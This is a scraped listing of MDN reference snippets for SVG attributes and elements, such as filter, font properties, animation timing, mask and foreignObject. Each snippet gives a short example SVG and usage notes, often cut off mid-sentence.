only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight elevation="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" ...
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <filter id="blur"> <fegaussianblur stddeviation="2" /> </filter> <rect x="10" y="10" width="80" height="80" filter="url(#blur)" /> </svg> usage notes value none | <filter-function-list> default value none animatable yes for a description of the values see the css filter property.
font-family - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="arial, helvetica, sans-serif">sans serif</text> <text x="100" y="20" font-family="monospace">monospace</text> </svg> usage notes value [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace defaul...
font-size - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-size="smaller">smaller</text> <text x="100" y="20" font-size="2em">2em</text> </svg> usage notes value <absolute-size> | <relative-size> | <length-percentage> default value medium animatable yes for a description of the values, please refer to the css font-size property.
font-style - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but only has an effect on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-style="normal">normal font style</text> <text x="150" y="20" font-style="italic">italic font style</text> </svg> usage notes value normal | italic | oblique default value normal animatable yes for a description of the values, please refer to the css font-style property.
font-variant - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-form...
font-weight - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-weight="normal">normal text</text> <text x="100" y="20" font-weight="bold">bold text</text> </svg> usage notes value normal | bold | bolder | lighter | <number> default value normal animatable yes for a description of the values, please refer to the css font-weight property.
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" height="100"> <animate attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
glyph-orientation-vertical - SVG: Scalable Vector Graphics
note: text set in this "rotated" manner may contain ligatures or other glyph combining and reordering common to the language and script.
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
<feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> feblend for <feblend>, height defines the vertical length for the rendering area of the primitive.
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
<svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <style type="text/css"> <![cdata[ #smallrect { stroke: #000066; fill: #00cc00; } ]]> </style> <rect id="smallrect" x="10" y="10" width="100" height="100" /> </svg> usage notes value <id> default value none animatable no <id> specifies the element's id.
kerning - SVG: Scalable Vector Graphics
WebSVGAttributekerning
as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> html, body, svg { height: 100%; font: 36px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 150 125" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="30" kerning="auto">auto</text> <text x="10" y="70" kerning="0">number</text> <text x="10" y="110" kerning="20px">length</text> </svg> usage notes value auto | <length> default value auto animatable yes auto this value indicates that the spacing between glyphs is adjusted based ...
keyPoints - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circl...
keyTimes - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> us...
letter-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 400 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" letter-spacing="2">bigger letter-spacing</text> <text x="200" y="20" letter-spacing="-0.5">smaller letter-spacing</text> </svg> usage notes value normal | <length> default value normal animatable yes for a description of the values, please refer to the css letter-spacing property.
marker-mid - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="circle" markerwidth="8" markerheight="8" refx="4" refy="4"> <circle cx="4" cy="4" r="4" stroke="none" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-mid="url(#circle)"/> </svg> usage notes value none | <marker-ref> ...
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" maskcontentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attr...
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specif...
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
only one element is using this attribute: <style> html, body, svg { height: 100%; } <svg viewbox="0 0 240 220" xmlns="http://www.w3.org/2000/svg"> <style> rect { fill: black; } </style> <style media="all and (min-width: 600px)"> rect { fill: seagreen; } </style> <text y="15">resize the window to see the effect</text> <rect y="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied.
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies...
name - SVG: Scalable Vector Graphics
WebSVGAttributename
the name "srgb" is predefined; any color profile descriptions with <name> set to "srgb" (case-insensitively) will be ignored.
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
etransform>, <circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no specifications specification status comment scalable vector graphics (svg) 2the definition of 'onclick' in that specif...
operator - SVG: Scalable Vector Graphics
two elements are using this attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be per...
overflow - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <iframe>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <text> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <text y="20">this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes for a description of the values, please see the css overflow property.
panose-1 - SVG: Scalable Vector Graphics
the initial value zero for each panose digit means "any", i.e.
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
two elements are using this attribute: <animatemotion> and <textpath> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path id="mypath" fill="none" stroke="silver" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <text> <textpath path="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50"> quick brown fox jumps over the lazy dog.
patternTransform - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
repeatCount - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number> this value specifies the n...
repeatDur - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value> this value specifies ...
rx - SVG: Scalable Vector Graphics
WebSVGAttributerx
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" rx="0" ry="25" /> <ellipse cx="150" cy="50" rx="25" ry="25" /> <ellipse cx="250" cy="50" rx="50" ry="25" /> <rect x="20" y="120" width="60" height="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape.
ry - SVG: Scalable Vector Graphics
WebSVGAttributery
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" ry="0" rx="25" /> <ellipse cx="150" cy="50" ry="25" rx="25" /> <ellipse cx="250" cy="50" ry="50" rx="25" /> <rect x="20" y="120" width="60" height="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape.
shape-rendering - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" shape-rendering="geometricprecision"/> <circle cx="320" cy="100" r="100" shape-rendering="crispedges"/> </svg> usage notes value auto | optimizespeed | crispedges | geometricprecision default value auto animatable yes auto this value indicates that the user agen...
side - SVG: Scalable Vector Graphics
WebSVGAttributeside
only one element is using this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes ...
stemh - SVG: Scalable Vector Graphics
WebSVGAttributestemh
for example, the main vertical stems of roman characters will differ from the thin stems on serifed "m" and "n", plus there may be different widths for uppercase and lowercase characters in the same font.
stemv - SVG: Scalable Vector Graphics
WebSVGAttributestemv
the measurement is meant for the dominant vertical stem in the font because there might be different groupings of vertical stems (e.g., one main one, and one lighter weight one as for an uppercase "m" or "n").
string - SVG: Scalable Vector Graphics
WebSVGAttributestring
the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg".
stroke-width - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on shapes and text context elements, including: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke width: 1 --> <circle cx="5" cy="5" r="3" stroke="green" /> <!-- stroke width as a number --> <circle cx="15" cy="5" r="3" stroke="green" stroke-width="3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage notes value ...
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <rect width="80" height="40" x="10" y="10" style="fill: skyblue; stroke: cadetblue; stroke-width: 2;"/> </svg> usage notes value <style> default value none animatable no <style> the syntax of style data depends on the style sheet language.
tabindex - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <?xml version="1.0"?> <svg viewbox="0 0 260 260" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="15" tabindex="1" /> <circle cx="60" cy="160" r="30" tabindex="3" /> <circle cx="160" cy="60" r="30" tabindex="2" /> <circle cx="160" cy="160" r="60" tabindex="4" /> </svg> usage notes value valid integer default value none animatable no valid integer relative order of the element for the purposes of sequential focus navigation.
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or...
text-decoration - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" text-decoration="underline">underlined text</text> <text x="0" y="40" text-decoration="line-through">struck-through text</text> </svg> usage notes value <'text-decoration-line'> || <'text-decoration-style'> || <'text-decoration-color'> default value see individual properties animatable yes ...
text-rendering - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following element: <text> html, body, svg { height: 100%; } <svg viewbox="0 0 140 40" xmlns="http://www.w3.org/2000/svg"> <text y="15" text-rendering="geometricprecision">geometric precision</text> <text y="35" text-rendering="optimizelegibility">optimized legibility</text> </svg> usage notes value auto | optimizespeed | optimizelegibility | geometricprecision default value auto animatable yes auto this value indica...
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributetype="xml" attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation.
units-per-em - SVG: Scalable Vector Graphics
the units-per-em attribute specifies the number of coordinate units on the "em square", an abstract square whose height is the intended distance between lines of type in the same type size.
version - SVG: Scalable Vector Graphics
WebSVGAttributeversion
<svg version="1.1" viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="80" height="80"/> </svg> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'version' in that specification.
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
<feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> feblend for <feblend>, width defines the horizontal length for the rendering area of the primitive.
word-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" word-spacing="2">bigger spacing between words</text> <text x="0" y="40" word-spacing="-0.5">smaller spacing between words</text> </svg> usage notes value normal | <length> animatable yes default values normal for a description of the values, please refer to the css letter-spacing proper...
xlink:arcrole - SVG: Scalable Vector Graphics
for example, a resource might generically represent a "person," but in the context of a particular arc it might have the role of "mother" and in the context of a different arc it might have the role of "daughter." twentytwo elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, <use> usage notes v...
xlink:href - SVG: Scalable Vector Graphics
22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object.
xml:lang - SVG: Scalable Vector Graphics
<svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
zoomAndPan - SVG: Scalable Vector Graphics
two elements are using this attribute: <svg> and <view> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" zoomandpan="disable"> <filter id="diffuselighting" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes ...
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
@namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link around a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link around a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-anchor="middle"> &lt;circle&gt; </text> </a> </svg> /* as svg does not provide a default visual style for links, it's co...
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <rect width="10" height="10"> <animate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style eve...
<animateColor> - SVG: Scalable Vector Graphics
example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="50"> <animatecolor attributename="fill" attributetype="xml" from="black" to="red" dur="6s" repeatcount="indefinite"/> </circle> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatecolor...
<animateMotion> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin: 0; padding: 0; display:block; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes ...
<animateTransform> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample a...
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="50"/> </svg> attributes cx the x-axis coordinate of the center of the circle.
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <desc> i'm a circle and that description is here to demonstrate how i can be described, but is it really necessary to describe a simple circle like me?
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ellipse.
<feFlood> - SVG: Scalable Vector Graphics
WebSVGElementfeFlood
example html content <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter: url(#floodfilter);"/> </svg> result specifications specification status comment filter effec...
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filt...
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="offset" width="180" height="180"> <feoffset in="sourcegraphic" dx="60" dy="60" /> </filter> </defs> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="url(#offset)"/> </svg> result specifications ...
<filter> - SVG: Scalable Vector Graphics
WebSVGElementfilter
example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the...
<foreignObject> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipisc...
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
